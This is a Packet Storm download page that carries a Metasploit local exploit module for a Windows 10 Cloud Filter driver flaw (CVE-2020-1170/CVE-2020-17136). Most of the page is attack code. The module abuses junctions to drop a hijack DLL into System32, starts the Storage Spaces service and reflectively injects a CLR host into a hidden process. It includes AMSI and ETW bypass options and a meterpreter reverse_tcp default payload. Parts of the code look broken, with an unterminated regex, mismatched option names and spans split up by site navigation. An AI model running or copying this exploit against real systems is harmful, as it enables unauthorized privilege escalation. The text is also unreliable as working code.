

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 154 files
Ubuntu 73 files
LiquidWorm 23 files
Debian 18 files
malvuln 11 files
nu11security 11 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

File Upload (946)	
Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,690)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	iOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

Cloud Filter Arbitrary File Creation / Privilege Escalation

Authored by Grant Willcox, James Foreshaw | Site metasploit.com

Posted Jan 12, 2021

This Metasploit module exploits a vulnerability in cldflt.sys. The Cloud Filter driver on Windows 10 v1803 and later, prior to the December 2020 updates, did not set the IO_FORCE_ACCESS_CHECK or OBJ_FORCE_ACCESS_CHECK flags when calling FitCreateFileEx() and FitCreateFileEx2() within its HsmOpCreatePlaceholders() function with attacker controlled input. This meant that files were created with KernelMode permissions, thereby bypassing any security checks that would otherwise prevent a normal user from being able to create files in directories they don't have permissions to create files in. This module abuses this vulnerability to perform a DLL hijacking attack against the Microsoft Storage Spaces SMP service, which grants the attacker code execution as the NETWORK SERVICE user. Users are strongly encouraged to set the PAYLOAD option to one of the Meterpreter payloads, as doing so will allow them to subsequently escalate their new session from NETWORK SERVICE to SYSTEM by using Meterpreter's "getsystem" command to perform RPCSS Named Pipe Impersonation and impersonate the SYSTEM user.

tags | exploit, code execution

systems | windows

advisories | CVE-2020-1170, CVE-2020-17136

SHA-256 | 5bdffeb4ef0091f8099814e9f3a61b1346960497efc651c7566901fb62b98d96 Download | Favorite | View

Related Files

Share This

Like

Twee

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror

Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  include Exploit::EXE
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection
  include Msf::Post::Windows::Dotnet
  include Msf::Post::Windows::Services
  include Msf::Post::Windows::FileSystem
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP',
        'Description' => %q{
          The Cloud Filter driver, cldflt.sys, on Windows 10 v1803 and later, prior to the December
          2020 updates, did not set the IO_FORCE_ACCESS_CHECK or OBJ_FORCE_ACCESS_CHECK flags when
          calling FitCreateFileEx() and FitCreateFileEx2() within its HsmOpCreatePlaceholders()
          function with attacker controlled input. This meant that files were created with
          KernelMode permissions, thereby bypassing any security checks that would otherwise
          prevent a normal user from being able to create files in directories
          they don't have permissions to create files in.

          This module abuses this vulnerability to perform a DLL hijacking attack against the
          Microsoft Storage Spaces SMP service, which grants the attacker code execution as the
          NETWORK SERVICE user. Users are strongly encouraged to set the PAYLOAD option to one
          of the Meterpreter payloads, as doing so will allow them to subsequently escalate their
          new session from NETWORK SERVICE to SYSTEM by using Meterpreter's "getsystem" command
          to perform RPCSS Named Pipe Impersonation and impersonate the SYSTEM user.
        },
        'License' => 'MSF_LICENSE',
        'Author' => [
          'James Foreshaw', # Vulnerability discovery and PoC creator
          'Grant Willcox' # Metasploit module
        ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Privileged' => true,
        'Arch' => [ARCH_X64],
        'Targets' => [
          [
            'Windows DLL Dropper', { 'Arch' => [ARCH_X64], 'Type' => :windows_dropper } ],
          ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2020-03-10',
        'References' => [
          ['CVE', '2020-17136'],
          ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=2082'],
          ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17136']
        ],
        'Notes' => [
          {
            'SideEffects' => [ ARTIFACTS_ON_DISK ],
            'Reliability' => [ REPEATABLE_SESSION ],
            'Stability' => [ CRASH_SAFE ]
          },
        ],
        'DefaultOptions' => [
          {
            'EXITFUNC' => 'process',
            'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
          }
        ]
      )
    )
  end

  register_options(
    [
      OptBool.new('AMSIYPASS', [true, 'Enable Amsi bypass', true]),
      OptBool.new('ETWBYPASS', [true, 'Enable Etw bypass', true]),
      OptInt.new('WAIT', [false, 'Time in seconds to wait', 5])
    ], self.class
  )

  register_advanced_options(
    [
      OptBool.new('KILL', [true, 'Kill the injected process at the end of the task', false])
    ]
  )
end

def check_requirements(cli_req, installed_dotnet_versions)
  installed_dotnet_versions.each do |fi|
    if cli_req == 'v4.0.30319'
      if fi[0] == '4'
        vprint_status('Requirements ok')
        return true
      end
    elsif fi[0] == '3'
      vprint_status('Requirements ok')
      return true
    end
  end
  print_error('Required dotnet version not present')
  false
end

def check
  sysinfo_value = sysinfo('OS')
  if sysinfo_value != '/windows/i
    # Non-Windows systems are definitely not affected.
    return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
```

```

end

build_num_raw = cmd_exec('cmd.exe /c ver')
build_num = build_num_raw.match(/d+\.d+\.d+\.d+/)
if build_num.nil?
  return CheckCode::Unknown("Couldn't retrieve the target's build number!")
else
  build_num = build_num_raw.match(/d+\.d+\.d+\.d+/)[0]
  vprint_status("Target's build number: #{build_num}")
end

build_num_gemversion = Gem::Version.new(build_num)
# Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/
if (build_num_gemversion >= Gem::Version.new('10.0.19042.0')) && (build_num_gemversion <
Gem::Version.new('10.0.19042.685')) # Windows 10 20H2
  return CheckCode::Appears('A vulnerable Windows 10 20H2 build was detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.19041.0')) && (build_num_gemversion <
Gem::Version.new('10.0.19041.685')) # Windows 10 v2004 aka 20H1
  return CheckCode::Appears('A vulnerable Windows 10 20H1 build was detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.18363.0')) && (build_num_gemversion <
Gem::Version.new('10.0.18363.1256')) # Windows 10 v1909
  return CheckCode::Appears('A vulnerable Windows 10 v1909 build was detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.18362.0')) && (build_num_gemversion <
Gem::Version.new('10.0.18362.1256')) # Windows 10 v1903
  return CheckCode::Appears('A vulnerable Windows 10 v1903 build was detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.17763.0')) && (build_num_gemversion <
Gem::Version.new('10.0.17763.1637')) # Windows 10 v1809
  return CheckCode::Appears('A vulnerable Windows 10 v1809 build was detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.17134.0')) && (build_num_gemversion <
Gem::Version.new('10.0.17134.1902')) # Windows 10 v1803
  return CheckCode::Appears('A vulnerable Windows 10 v1803 build was detected!')
else
  return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable
version!')
end

def exploit
  if sysinfo['Architecture'] != 'x64'
    fail_with(Failure::NotTarget, 'This module currently only supports targeting x64 systems!')
  elsif session.arch != 'x64'
    fail_with(Failure::NotTarget, 'Sorry, WoW64 is not supported at this time!')
  end
  dir_junct_path = 'C:\\Windows\\Temp'
  intermediate_dir = rand_text_alpha(10).to_s
  junction_dir = rand_text_alpha(10).to_s
  path_to_intermediate_dir = "#{dir_junct_path}\\#{intermediate_dir}"

  mkdir("#{path_to_intermediate_dir}")
  if !directory?("#{path_to_intermediate_dir}")
    fail_with(Failure::UnexpectedReply, 'Could not create the intermediate directory!')
  end
  register_dir_for_cleanup("#{path_to_intermediate_dir}")

  mkdir("#{path_to_intermediate_dir}\\#{junction_dir}")
  if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")
    fail_with(Failure::UnexpectedReply, 'Could not create the junction directory as a folder!')
  end

  mount_handle = create_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", 'C:\\')
  if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")
    fail_with(Failure::UnexpectedReply, 'Could not transform the junction directory into a junction!')
  end

  exe_path = 'data/exploits/CVE-2020-17136/cloudFilterEOP.exe'
  unless File.file?(exe_path)
    fail_with(Failure::BadConfig, 'Assembly not found')
  end
  installed_dotnet_versions = get_dotnet_versions
  vprint_status("Dot Net Versions installed on target: #{installed_dotnet_versions}")
  if installed_dotnet_versions == []
    fail_with(Failure::BadConfig, 'Target has no .NET framework installed')
  end
  if check_requirements('v4.0.30319', installed_dotnet_versions) == false
    fail_with(Failure::BadConfig, 'CLR required for assembly not installed')
  end
  payload_path = 'C:\\Windows\\Temp\\#{rand_text_alpha(16)}.dll'
  print_status("Dropping payload dll at #{payload_path} and registering it for cleanup...")
  write_file(payload_path, generate_payload_dll)
  register_file_for_cleanup(payload_path)
  execute_assembly(exe_path, "#{path_to_intermediate_dir} #{junction_dir}\\Windows\\System32\\healthapi.dll #
{payload_path}")
  service_start('smphost')
  register_file_for_cleanup('C:\\Windows\\System32\\healthapi.dll')
  sleep(3)
  delete_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", mount_handle)
end

def pid_exists(pid)
  mypid = client.sys.process.getpid.to_i

  if pid == mypid
    print_bad('Cannot select the current process as the injection target')
    return false
  end

  host_processes = client.sys.process.get_processes
  if host_processes.empty?
    print_bad('No running processes found on the target host.')
    return false
  end

  theprocess = host_processes.find { |x| x['pid'] == pid }

  !theprocess.nil?
end

def launch_process
  process_name = 'notepad.exe'
  print_status("Launching #{process_name} to host CLR...")

  process = client.sys.process.execute(process_name, nil, {
    'Channelized' => true,
    'Hidden' => true,
    'UseThreadToken' => true,
    'ParentPid' => 0
  })
  hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
  print_good("Process #{hprocess.pid} launched.")
  [process, hprocess]
end

def inject_hostclr_dll(process)
  print_status("Reflectively injecting the Host DLL into #{process.pid}..")

  library_path = ::File.join(Msf::Config.data_directory, 'post', 'execute-dotnet-assembly',
'HostingCLRx64.dll')
  library_path = ::File.expand_path(library_path)

  print_status("Injecting Host into #{process.pid}..")
  exploit_mem, offset = inject_dll_into_process(process, library_path)
  [exploit_mem, offset]
end

def execute_assembly(exe_path, exe_args)
  if sysinfo.nil?
    fail_with(Failure::BadConfig, 'Session invalid')
  else
    print_status("Running module against #{sysinfo['Computer']}")
  end
  if datastore['WAIT'].zero?
    print_warning('Output unavailable as wait time is 0')
  end

  process, hprocess = launch_process
  exploit_mem, offset = inject_hostclr_dll(hprocess)

  assembly_mem = copy_assembly(exe_path, hprocess, exe_args)

  print_status('Executing...')
  hprocess.thread.create(exploit_mem + offset, assembly_mem)

  if datastore['WAIT'].positive?
    sleep(datastore['WAIT'])
    read_output(process)
  end

  if datastore['KILL']
    print_good("Killing process #{hprocess.pid}")
    client.sys.process.kill(hprocess.pid)
  end

  print_good('Execution finished.')
end

```

Spoof (2,166)	SUSE (1,444)
SQL Injection (16,102)	Ubuntu (8,199)
TCP (2,379)	UNIX (9,159)
Trojan (686)	UnixWare (185)
UDP (676)	Windows (6,511)
Virus (662)	Other
Vulnerability (31,136)	
Web (9,365)	
Whitepaper (3,729)	
x86 (946)	
XSS (17,494)	
Other	

```
end

def copy_assembly(exe_path, process, exe_args)
  print_status("Host Injected. Copy assembly into #{process.pid}...")
  int_param_size = 8
  sign_flag_size = 1
  amsi_flag_size = 1
  etw_flag_size = 1
  assembly_size = File.size(exe_path)

  cln_params = ''
  cln_params << exe_args
  cln_params << "\x00"

  payload_size = amsi_flag_size + etw_flag_size + sign_flag_size + int_param_size
  payload_size += assembly_size + cln_params.length
  assembly_mem = process.memory.allocate(payload_size, PAGE_READWRITE)
  params = [
    assembly_size,
    cln_params.length,
    datastore['AMSI_BYPASS'] ? 1 : 0,
    datastore['ETW_BYPASS'] ? 1 : 0,
    2
  ].pack('IICCC')
  params += cln_params

  process.memory.write(assembly_mem, params + File.read(exe_path))
  print_status('Assembly copied.')
  assembly_mem
end

def read_output(process)
  print_status('Start reading output')
  old_timeout = client.response_timeout
  client.response_timeout = 5

  begin
    loop do
      output = process.channel.read
      if !output.nil? && !output.empty?
        output.split("\n").each { |x| print_good(x) }
      end
      break if output.nil? || output.empty?
    end
  rescue Rex::TimeoutError
    vprint_warning('Time out exception: wait limit exceeded (5 sec)')
  rescue ::StandardError => e
    print_error("Exception: #{e.inspect}")
  end

  client.response_timeout = old_timeout
  print_status('End output.')
end
```

[Login](#) or [Register](#) to add favorites



© 2022 Packet Storm. All rights reserved.

Site Links

[News by Month](#)

[News Tags](#)

[Files by Month](#)

[File Tags](#)

[File Directory](#)

About Us

[History & Purpose](#)

[Contact Information](#)

[Terms of Service](#)

[Privacy Statement](#)

[Copyright Information](#)

Hosting By

[Rokasec](#)



[Follow us on Twitter](#)



[Subscribe to an RSS Feed](#)